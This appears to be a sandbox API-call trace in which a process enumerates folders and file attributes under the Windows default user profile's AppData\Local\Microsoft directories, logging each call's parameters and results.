	[0082.357] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1268cf58 | out: lpFileInformation=0x1268cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x401)) returned 1
	[0082.357] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1268cfa8 | out: lpFileInformation=0x1268cfa8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x427)) returned 1
	[0082.357] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1268cff8 | out: lpFileInformation=0x1268cff8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x249)) returned 1
	[0082.358] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1268d048 | out: lpFileInformation=0x1268d048*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437)) returned 1
	[0082.358] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows"), fInfoLevelId=0x0, lpFileInformation=0x1268d098 | out: lpFileInformation=0x1268d098*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66d8860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d1d5e4e, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.358] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.358] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66d8860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d1d5e4e, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.359] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66d8860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d1d5e4e, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.359] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1
	[0082.359] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xeb4bd20c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1
	[0082.360] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x182897a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Explorer", cAlternateFileName="")) returned 1
	[0082.360] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1
	[0082.360] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0082.360] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1
	[0082.360] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe7364c0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0082.360] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x579672e0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsrClass.dat", cAlternateFileName="")) returned 1
	[0082.360] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x579672e0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsrClass.dat.LOG1", cAlternateFileName="USRCLA~2.LOG")) returned 1
	[0082.360] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65cdec0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65cdec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9c5705f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsrClass.dat.LOG2", cAlternateFileName="USRCLA~1.LOG")) returned 1
	[0082.360] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65cdec0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65cdec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x962222ec, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf", cAlternateFileName="USRCLA~1.BLF")) returned 1
	[0082.360] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6581c00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6581c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="USRCLA~2.REG")) returned 1
	[0082.360] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="USRCLA~1.REG")) returned 1
	[0082.360] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1
	[0082.360] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.360] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.361] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\burn"), fInfoLevelId=0x0, lpFileInformation=0x1268d548 | out: lpFileInformation=0x1268d548*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.361] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\burn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.362] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.362] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.362] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1
	[0082.362] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.362] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.362] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\burn\\burn"), fInfoLevelId=0x0, lpFileInformation=0x1268d5e8 | out: lpFileInformation=0x1268d5e8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.362] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\burn\\burn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.362] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.362] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.362] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.362] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.362] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.362] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\burn\\burn\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1268d688 | out: lpFileInformation=0x1268d688*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xae)) returned 1
	[0082.363] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Caches" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\caches"), fInfoLevelId=0x0, lpFileInformation=0x1268d6d8 | out: lpFileInformation=0x1268d6d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xeb4bd20c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.363] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Caches" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\caches"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.363] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Caches\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xeb4bd20c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.363] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xeb4bd20c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.363] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.363] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.363] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer"), fInfoLevelId=0x0, lpFileInformation=0x1268d728 | out: lpFileInformation=0x1268d728*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x182897a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.363] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.363] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x182897a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x182897a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4777f11, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExplorerStartupLog.etl", cAlternateFileName="EXPLOR~2.ETL")) returned 1
